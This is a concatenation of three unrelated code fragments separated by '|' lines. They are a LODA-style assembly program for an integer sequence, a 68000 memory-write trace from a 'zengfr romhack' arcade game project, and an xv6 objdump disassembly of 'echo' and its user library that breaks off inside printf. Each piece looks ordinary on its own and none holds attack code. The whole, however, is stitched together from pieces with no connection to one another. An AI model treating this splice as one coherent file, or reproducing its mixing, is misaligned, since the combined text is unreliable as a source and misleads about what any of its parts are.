; 0,1,-3,4,-6,7,-9,10,-12,13,-15,16,-18,19,-21,22,-24,25,-27,28,-30,31,-33,34,-36,37,-39,40,-42,43,-45,46,-48,49,-51,52,-54,55,-57,58,-60,61,-63,64,-66,67,-69,70,-72,73,-75,76,-78,79,-81,82,-84,85,-87,88,-90,91,-93,94,-96,97,-99,100,-102,103,-105,106,-108,109,-111,112,-114,115,-117,118,-120,121,-123,124,-126,127,-129,130,-132,133,-135,136,-138,139,-141,142,-144,145,-147,148,-150,151,-153,154,-156,157,-159,160,-162,163,-165,166,-168,169,-171,172,-174,175,-177,178,-180,181,-183,184,-186,187,-189,190,-192,193,-195,196,-198,199,-201,202,-204,205,-207,208,-210,211,-213,214,-216,217,-219,220,-222,223,-225,226,-228,229,-231,232,-234,235,-237,238,-240,241,-243,244,-246,247,-249,250,-252,253,-255,256,-258,259,-261,262,-264,265,-267,268,-270,271,-273,274,-276,277,-279,280,-282,283,-285,286,-288,289,-291,292,-294,295,-297,298,-300,301,-303,304,-306,307,-309,310,-312,313,-315,316,-318,319,-321,322,-324,325,-327,328,-330,331,-333,334,-336,337,-339,340,-342,343,-345,346,-348,349,-351,352,-354,355,-357,358,-360,361,-363,364,-366,367,-369,370,-372,373
mov $1,$0
mul $1,3
mov $2,3
lpb $0
mov $0,$1
sub $2,4
mul $0,$2
mov $1,$0
lpb $0
sub $0,3
lpe
mod $0,2
mov $2,3
lpe
div $1,2
|
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D94 move.l D1, (A1)+
004D96 dbra D0, $4d94
0166BC move.b #$1, ($114,A6)
0166C2 move #$1, CCR [123p+114]
0166C8 tst.b ($114,A6)
0166CC beq $166d6 [123p+114]
0166D6 clr.b ($114,A6)
0166DA or.w D0, D0 [123p+114]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
_echo: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: 83 ec 08 sub $0x8,%esp
14: 8b 31 mov (%ecx),%esi
16: 8b 79 04 mov 0x4(%ecx),%edi
int i;
for(i = 1; i < argc; i++)
19: 83 fe 01 cmp $0x1,%esi
1c: 7e 41 jle 5f <main+0x5f>
1e: bb 01 00 00 00 mov $0x1,%ebx
23: eb 1b jmp 40 <main+0x40>
25: 8d 76 00 lea 0x0(%esi),%esi
printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n");
28: 68 f8 06 00 00 push $0x6f8
2d: ff 74 9f fc pushl -0x4(%edi,%ebx,4)
31: 68 fa 06 00 00 push $0x6fa
36: 6a 01 push $0x1
38: e8 93 03 00 00 call 3d0 <printf>
3d: 83 c4 10 add $0x10,%esp
40: 83 c3 01 add $0x1,%ebx
43: 39 de cmp %ebx,%esi
45: 75 e1 jne 28 <main+0x28>
47: 68 ff 06 00 00 push $0x6ff
4c: ff 74 b7 fc pushl -0x4(%edi,%esi,4)
50: 68 fa 06 00 00 push $0x6fa
55: 6a 01 push $0x1
57: e8 74 03 00 00 call 3d0 <printf>
5c: 83 c4 10 add $0x10,%esp
exit();
5f: e8 2d 02 00 00 call 291 <exit>
64: 66 90 xchg %ax,%ax
66: 66 90 xchg %ax,%ax
68: 66 90 xchg %ax,%ax
6a: 66 90 xchg %ax,%ax
6c: 66 90 xchg %ax,%ax
6e: 66 90 xchg %ax,%ax
00000070 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
70: 53 push %ebx
71: 8b 44 24 08 mov 0x8(%esp),%eax
75: 8b 4c 24 0c mov 0xc(%esp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
79: 89 c2 mov %eax,%edx
7b: 90 nop
7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80: 83 c1 01 add $0x1,%ecx
83: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
87: 83 c2 01 add $0x1,%edx
8a: 84 db test %bl,%bl
8c: 88 5a ff mov %bl,-0x1(%edx)
8f: 75 ef jne 80 <strcpy+0x10>
;
return os;
}
91: 5b pop %ebx
92: c3 ret
93: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000a0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
a0: 56 push %esi
a1: 53 push %ebx
a2: 8b 54 24 0c mov 0xc(%esp),%edx
a6: 8b 4c 24 10 mov 0x10(%esp),%ecx
while(*p && *p == *q)
aa: 0f b6 02 movzbl (%edx),%eax
ad: 0f b6 19 movzbl (%ecx),%ebx
b0: 84 c0 test %al,%al
b2: 75 1f jne d3 <strcmp+0x33>
b4: eb 2a jmp e0 <strcmp+0x40>
b6: 8d 76 00 lea 0x0(%esi),%esi
b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
c0: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
c3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
c6: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
c9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
cd: 84 c0 test %al,%al
cf: 74 0f je e0 <strcmp+0x40>
d1: 89 f1 mov %esi,%ecx
d3: 38 d8 cmp %bl,%al
d5: 74 e9 je c0 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
d7: 29 d8 sub %ebx,%eax
}
d9: 5b pop %ebx
da: 5e pop %esi
db: c3 ret
dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
e0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
e2: 29 d8 sub %ebx,%eax
}
e4: 5b pop %ebx
e5: 5e pop %esi
e6: c3 ret
e7: 89 f6 mov %esi,%esi
e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000f0 <strlen>:
uint
strlen(char *s)
{
f0: 8b 4c 24 04 mov 0x4(%esp),%ecx
int n;
for(n = 0; s[n]; n++)
f4: 80 39 00 cmpb $0x0,(%ecx)
f7: 74 14 je 10d <strlen+0x1d>
f9: 31 d2 xor %edx,%edx
fb: 90 nop
fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
100: 83 c2 01 add $0x1,%edx
103: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
107: 89 d0 mov %edx,%eax
109: 75 f5 jne 100 <strlen+0x10>
10b: f3 c3 repz ret
10d: 31 c0 xor %eax,%eax
;
return n;
}
10f: c3 ret
00000110 <memset>:
void*
memset(void *dst, int c, uint n)
{
110: 57 push %edi
111: 8b 54 24 08 mov 0x8(%esp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
115: 8b 4c 24 10 mov 0x10(%esp),%ecx
119: 8b 44 24 0c mov 0xc(%esp),%eax
11d: 89 d7 mov %edx,%edi
11f: fc cld
120: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
122: 89 d0 mov %edx,%eax
124: 5f pop %edi
125: c3 ret
126: 8d 76 00 lea 0x0(%esi),%esi
129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000130 <strchr>:
char*
strchr(const char *s, char c)
{
130: 53 push %ebx
131: 8b 44 24 08 mov 0x8(%esp),%eax
135: 8b 5c 24 0c mov 0xc(%esp),%ebx
for(; *s; s++)
139: 0f b6 10 movzbl (%eax),%edx
13c: 84 d2 test %dl,%dl
13e: 74 1e je 15e <strchr+0x2e>
if(*s == c)
140: 38 d3 cmp %dl,%bl
142: 89 d9 mov %ebx,%ecx
144: 75 0e jne 154 <strchr+0x24>
146: eb 18 jmp 160 <strchr+0x30>
148: 90 nop
149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
150: 38 ca cmp %cl,%dl
152: 74 0c je 160 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
154: 83 c0 01 add $0x1,%eax
157: 0f b6 10 movzbl (%eax),%edx
15a: 84 d2 test %dl,%dl
15c: 75 f2 jne 150 <strchr+0x20>
if(*s == c)
return (char*) s;
return 0;
15e: 31 c0 xor %eax,%eax
}
160: 5b pop %ebx
161: c3 ret
162: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <gets>:
char*
gets(char *buf, int max)
{
170: 55 push %ebp
171: 57 push %edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
172: 31 ff xor %edi,%edi
return 0;
}
char*
gets(char *buf, int max)
{
174: 56 push %esi
175: 53 push %ebx
176: 83 ec 1c sub $0x1c,%esp
179: 8b 74 24 30 mov 0x30(%esp),%esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
17d: 8d 6c 24 0f lea 0xf(%esp),%ebp
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
181: eb 2c jmp 1af <gets+0x3f>
183: 90 nop
184: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cc = read(0, &c, 1);
188: 83 ec 04 sub $0x4,%esp
18b: 6a 01 push $0x1
18d: 55 push %ebp
18e: 6a 00 push $0x0
190: e8 14 01 00 00 call 2a9 <read>
if(cc < 1)
195: 83 c4 10 add $0x10,%esp
198: 85 c0 test %eax,%eax
19a: 7e 1c jle 1b8 <gets+0x48>
break;
buf[i++] = c;
19c: 0f b6 44 24 0f movzbl 0xf(%esp),%eax
1a1: 89 df mov %ebx,%edi
if(c == '\n' || c == '\r')
1a3: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
1a5: 88 44 1e ff mov %al,-0x1(%esi,%ebx,1)
if(c == '\n' || c == '\r')
1a9: 74 25 je 1d0 <gets+0x60>
1ab: 3c 0d cmp $0xd,%al
1ad: 74 21 je 1d0 <gets+0x60>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1af: 8d 5f 01 lea 0x1(%edi),%ebx
1b2: 3b 5c 24 34 cmp 0x34(%esp),%ebx
1b6: 7c d0 jl 188 <gets+0x18>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1b8: c6 04 3e 00 movb $0x0,(%esi,%edi,1)
return buf;
}
1bc: 83 c4 1c add $0x1c,%esp
1bf: 89 f0 mov %esi,%eax
1c1: 5b pop %ebx
1c2: 5e pop %esi
1c3: 5f pop %edi
1c4: 5d pop %ebp
1c5: c3 ret
1c6: 8d 76 00 lea 0x0(%esi),%esi
1c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1d0: 89 df mov %ebx,%edi
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
return buf;
}
1d2: 89 f0 mov %esi,%eax
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1d4: c6 04 3e 00 movb $0x0,(%esi,%edi,1)
return buf;
}
1d8: 83 c4 1c add $0x1c,%esp
1db: 5b pop %ebx
1dc: 5e pop %esi
1dd: 5f pop %edi
1de: 5d pop %ebp
1df: c3 ret
000001e0 <stat>:
int
stat(char *n, struct statv6 *st)
{
1e0: 56 push %esi
1e1: 53 push %ebx
1e2: 83 ec 0c sub $0xc,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1e5: 6a 00 push $0x0
1e7: ff 74 24 1c pushl 0x1c(%esp)
1eb: e8 e1 00 00 00 call 2d1 <open>
if(fd < 0)
1f0: 83 c4 10 add $0x10,%esp
1f3: 85 c0 test %eax,%eax
1f5: 78 29 js 220 <stat+0x40>
return -1;
r = fstat(fd, st);
1f7: 83 ec 08 sub $0x8,%esp
1fa: 89 c3 mov %eax,%ebx
1fc: ff 74 24 1c pushl 0x1c(%esp)
200: 50 push %eax
201: e8 e3 00 00 00 call 2e9 <fstat>
206: 89 c6 mov %eax,%esi
close(fd);
208: 89 1c 24 mov %ebx,(%esp)
20b: e8 a9 00 00 00 call 2b9 <close>
return r;
210: 83 c4 10 add $0x10,%esp
213: 89 f0 mov %esi,%eax
}
215: 83 c4 04 add $0x4,%esp
218: 5b pop %ebx
219: 5e pop %esi
21a: c3 ret
21b: 90 nop
21c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
220: b8 ff ff ff ff mov $0xffffffff,%eax
225: eb ee jmp 215 <stat+0x35>
227: 89 f6 mov %esi,%esi
229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000230 <atoi>:
return r;
}
int
atoi(const char *s)
{
230: 53 push %ebx
231: 8b 4c 24 08 mov 0x8(%esp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
235: 0f be 11 movsbl (%ecx),%edx
238: 8d 42 d0 lea -0x30(%edx),%eax
23b: 3c 09 cmp $0x9,%al
23d: b8 00 00 00 00 mov $0x0,%eax
242: 77 19 ja 25d <atoi+0x2d>
244: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n = n*10 + *s++ - '0';
248: 8d 04 80 lea (%eax,%eax,4),%eax
24b: 83 c1 01 add $0x1,%ecx
24e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
252: 0f be 11 movsbl (%ecx),%edx
255: 8d 5a d0 lea -0x30(%edx),%ebx
258: 80 fb 09 cmp $0x9,%bl
25b: 76 eb jbe 248 <atoi+0x18>
n = n*10 + *s++ - '0';
return n;
}
25d: 5b pop %ebx
25e: c3 ret
25f: 90 nop
00000260 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
260: 56 push %esi
261: 53 push %ebx
262: 8b 5c 24 14 mov 0x14(%esp),%ebx
266: 8b 44 24 0c mov 0xc(%esp),%eax
26a: 8b 74 24 10 mov 0x10(%esp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
26e: 85 db test %ebx,%ebx
270: 7e 14 jle 286 <memmove+0x26>
272: 31 d2 xor %edx,%edx
274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
278: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
27c: 88 0c 10 mov %cl,(%eax,%edx,1)
27f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
282: 39 da cmp %ebx,%edx
284: 75 f2 jne 278 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
286: 5b pop %ebx
287: 5e pop %esi
288: c3 ret
00000289 <fork>:
289: b8 01 00 00 00 mov $0x1,%eax
28e: cd 40 int $0x40
290: c3 ret
00000291 <exit>:
291: b8 02 00 00 00 mov $0x2,%eax
296: cd 40 int $0x40
298: c3 ret
00000299 <wait>:
299: b8 03 00 00 00 mov $0x3,%eax
29e: cd 40 int $0x40
2a0: c3 ret
000002a1 <pipe>:
2a1: b8 04 00 00 00 mov $0x4,%eax
2a6: cd 40 int $0x40
2a8: c3 ret
000002a9 <read>:
2a9: b8 06 00 00 00 mov $0x6,%eax
2ae: cd 40 int $0x40
2b0: c3 ret
000002b1 <write>:
2b1: b8 05 00 00 00 mov $0x5,%eax
2b6: cd 40 int $0x40
2b8: c3 ret
000002b9 <close>:
2b9: b8 07 00 00 00 mov $0x7,%eax
2be: cd 40 int $0x40
2c0: c3 ret
000002c1 <kill>:
2c1: b8 08 00 00 00 mov $0x8,%eax
2c6: cd 40 int $0x40
2c8: c3 ret
000002c9 <exec>:
2c9: b8 09 00 00 00 mov $0x9,%eax
2ce: cd 40 int $0x40
2d0: c3 ret
000002d1 <open>:
2d1: b8 0a 00 00 00 mov $0xa,%eax
2d6: cd 40 int $0x40
2d8: c3 ret
000002d9 <mknod>:
2d9: b8 0b 00 00 00 mov $0xb,%eax
2de: cd 40 int $0x40
2e0: c3 ret
000002e1 <unlink>:
2e1: b8 0c 00 00 00 mov $0xc,%eax
2e6: cd 40 int $0x40
2e8: c3 ret
000002e9 <fstat>:
2e9: b8 0d 00 00 00 mov $0xd,%eax
2ee: cd 40 int $0x40
2f0: c3 ret
000002f1 <link>:
2f1: b8 0e 00 00 00 mov $0xe,%eax
2f6: cd 40 int $0x40
2f8: c3 ret
000002f9 <mkdir>:
2f9: b8 0f 00 00 00 mov $0xf,%eax
2fe: cd 40 int $0x40
300: c3 ret
00000301 <chdir>:
301: b8 10 00 00 00 mov $0x10,%eax
306: cd 40 int $0x40
308: c3 ret
00000309 <dup>:
309: b8 11 00 00 00 mov $0x11,%eax
30e: cd 40 int $0x40
310: c3 ret
00000311 <getpid>:
311: b8 12 00 00 00 mov $0x12,%eax
316: cd 40 int $0x40
318: c3 ret
00000319 <sbrk>:
319: b8 13 00 00 00 mov $0x13,%eax
31e: cd 40 int $0x40
320: c3 ret
00000321 <sleep>:
321: b8 14 00 00 00 mov $0x14,%eax
326: cd 40 int $0x40
328: c3 ret
329: 66 90 xchg %ax,%ax
32b: 66 90 xchg %ax,%ax
32d: 66 90 xchg %ax,%ax
32f: 90 nop
00000330 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
330: 55 push %ebp
331: 57 push %edi
332: 89 c7 mov %eax,%edi
334: 56 push %esi
335: 53 push %ebx
336: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
339: 8b 5c 24 50 mov 0x50(%esp),%ebx
33d: 85 db test %ebx,%ebx
33f: 74 77 je 3b8 <printint+0x88>
341: 89 d0 mov %edx,%eax
343: c1 e8 1f shr $0x1f,%eax
346: 84 c0 test %al,%al
348: 74 6e je 3b8 <printint+0x88>
neg = 1;
x = -xx;
34a: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
34c: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
353: 00
x = -xx;
354: f7 d8 neg %eax
} else {
x = xx;
}
i = 0;
356: 31 ed xor %ebp,%ebp
358: 8d 5c 24 1f lea 0x1f(%esp),%ebx
35c: eb 04 jmp 362 <printint+0x32>
35e: 66 90 xchg %ax,%ax
do{
buf[i++] = digits[x % base];
360: 89 f5 mov %esi,%ebp
362: 31 d2 xor %edx,%edx
364: 8d 75 01 lea 0x1(%ebp),%esi
367: f7 f1 div %ecx
369: 0f b6 92 08 07 00 00 movzbl 0x708(%edx),%edx
}while((x /= base) != 0);
370: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
372: 88 14 33 mov %dl,(%ebx,%esi,1)
}while((x /= base) != 0);
375: 75 e9 jne 360 <printint+0x30>
if(neg)
377: 8b 44 24 0c mov 0xc(%esp),%eax
37b: 85 c0 test %eax,%eax
37d: 74 08 je 387 <printint+0x57>
buf[i++] = '-';
37f: c6 44 34 20 2d movb $0x2d,0x20(%esp,%esi,1)
384: 8d 75 02 lea 0x2(%ebp),%esi
387: 8d 74 34 1f lea 0x1f(%esp,%esi,1),%esi
38b: 90 nop
38c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
390: 0f b6 06 movzbl (%esi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
393: 83 ec 04 sub $0x4,%esp
396: 83 ee 01 sub $0x1,%esi
399: 88 44 24 23 mov %al,0x23(%esp)
39d: 6a 01 push $0x1
39f: 53 push %ebx
3a0: 57 push %edi
3a1: e8 0b ff ff ff call 2b1 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
3a6: 83 c4 10 add $0x10,%esp
3a9: 39 de cmp %ebx,%esi
3ab: 75 e3 jne 390 <printint+0x60>
putc(fd, buf[i]);
}
3ad: 83 c4 3c add $0x3c,%esp
3b0: 5b pop %ebx
3b1: 5e pop %esi
3b2: 5f pop %edi
3b3: 5d pop %ebp
3b4: c3 ret
3b5: 8d 76 00 lea 0x0(%esi),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
3b8: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3ba: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
3c1: 00
3c2: eb 92 jmp 356 <printint+0x26>
3c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000003d0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
3d0: 55 push %ebp
3d1: 57 push %edi
3d2: 56 push %esi
3d3: 53 push %ebx
3d4: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3d7: 8b 74 24 44 mov 0x44(%esp),%esi
3db: 8d 44 24 48 lea 0x48(%esp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
3df: 8b 7c 24 40 mov 0x40(%esp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3e3: 89 44 24 0c mov %eax,0xc(%esp)
3e7: 0f b6 1e movzbl (%esi),%ebx
3ea: 83 c6 01 add $0x1,%esi
3ed: 84 db test %bl,%bl
3ef: 0f 84 ad 00 00 00 je 4a2 <printf+0xd2>
3f5: 31 ed xor %ebp,%ebp
3f7: eb 32 jmp 42b <printf+0x5b>
3f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
400: 83 f8 25 cmp $0x25,%eax
403: 0f 84 a7 00 00 00 je 4b0 <printf+0xe0>
409: 88 5c 24 1a mov %bl,0x1a(%esp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
40d: 83 ec 04 sub $0x4,%esp
410: 6a 01 push $0x1
412: 8d 44 24 22 lea 0x22(%esp),%eax
416: 50 push %eax
417: 57 push %edi
418: e8 94 fe ff ff call 2b1 <write>
41d: 83 c4 10 add $0x10,%esp
420: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
423: 0f b6 5e ff movzbl -0x1(%esi),%ebx
427: 84 db test %bl,%bl
429: 74 77 je 4a2 <printf+0xd2>
c = fmt[i] & 0xff;
if(state == 0){
42b: 85 ed test %ebp,%ebp
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
42d: 0f be cb movsbl %bl,%ecx
430: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
433: 74 cb je 400 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
435: 83 fd 25 cmp $0x25,%ebp
438: 75 e6 jne 420 <printf+0x50>
if(c == 'd'){
43a: 83 f8 64 cmp $0x64,%eax
43d: 0f 84 15 01 00 00 je 558 <printf+0x188>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
443: 81 e1 f7 00 00 00 and $0xf7,%ecx
449: 83 f9 70 cmp $0x70,%ecx
44c: 74 72 je 4c0 <printf+0xf0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
44e: 83 f8 73 cmp $0x73,%eax
451: 0f 84 99 00 00 00 je 4f0 <printf+0x120>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
457: 83 f8 63 cmp $0x63,%eax
45a: 0f 84 07 01 00 00 je 567 <printf+0x197>
putc(fd, *ap);
ap++;
} else if(c == '%'){
460: 83 f8 25 cmp $0x25,%eax
463: 0f 84 d7 00 00 00 je 540 <printf+0x170>
469: c6 44 24 1f 25 movb $0x25,0x1f(%esp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
46e: 83 ec 04 sub $0x4,%esp
471: 6a 01 push $0x1
473: 8d 44 24 27 lea 0x27(%esp),%eax
477: 50 push %eax
478: 57 push %edi
479: e8 33 fe ff ff call 2b1 <write>
47e: 88 5c 24 2e mov %bl,0x2e(%esp)
482: 83 c4 0c add $0xc,%esp
485: 6a 01 push $0x1
487: 8d 44 24 26 lea 0x26(%esp),%eax
48b: 50 push %eax
48c: 57 push %edi
48d: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
490: 31 ed xor %ebp,%ebp
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
492: e8 1a fe ff ff call 2b1 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
497: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
49b: 83 c4 10 add $0x10,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
49e: 84 db test %bl,%bl
4a0: 75 89 jne 42b <printf+0x5b>
putc(fd, c);
}
state = 0;
}
}
}
4a2: 83 c4 2c add $0x2c,%esp
4a5: 5b pop %ebx
4a6: 5e pop %esi
4a7: 5f pop %edi
4a8: 5d pop %ebp
4a9: c3 ret
4aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
4b0: bd 25 00 00 00 mov $0x25,%ebp
4b5: e9 66 ff ff ff jmp 420 <printf+0x50>
4ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
4c0: 83 ec 0c sub $0xc,%esp
4c3: b9 10 00 00 00 mov $0x10,%ecx
4c8: 6a 00 push $0x0
4ca: 8b 5c 24 1c mov 0x1c(%esp),%ebx
4ce: 89 f8 mov %edi,%eax
4d0: 8b 13 mov (%ebx),%edx
4d2: e8 59 fe ff ff call 330 <printint>
ap++;
4d7: 89 d8 mov %ebx,%eax
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4d9: 31 ed xor %ebp,%ebp
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
4db: 83 c0 04 add $0x4,%eax
4de: 89 44 24 1c mov %eax,0x1c(%esp)
4e2: 83 c4 10 add $0x10,%esp
4e5: e9 36 ff ff ff jmp 420 <printf+0x50>
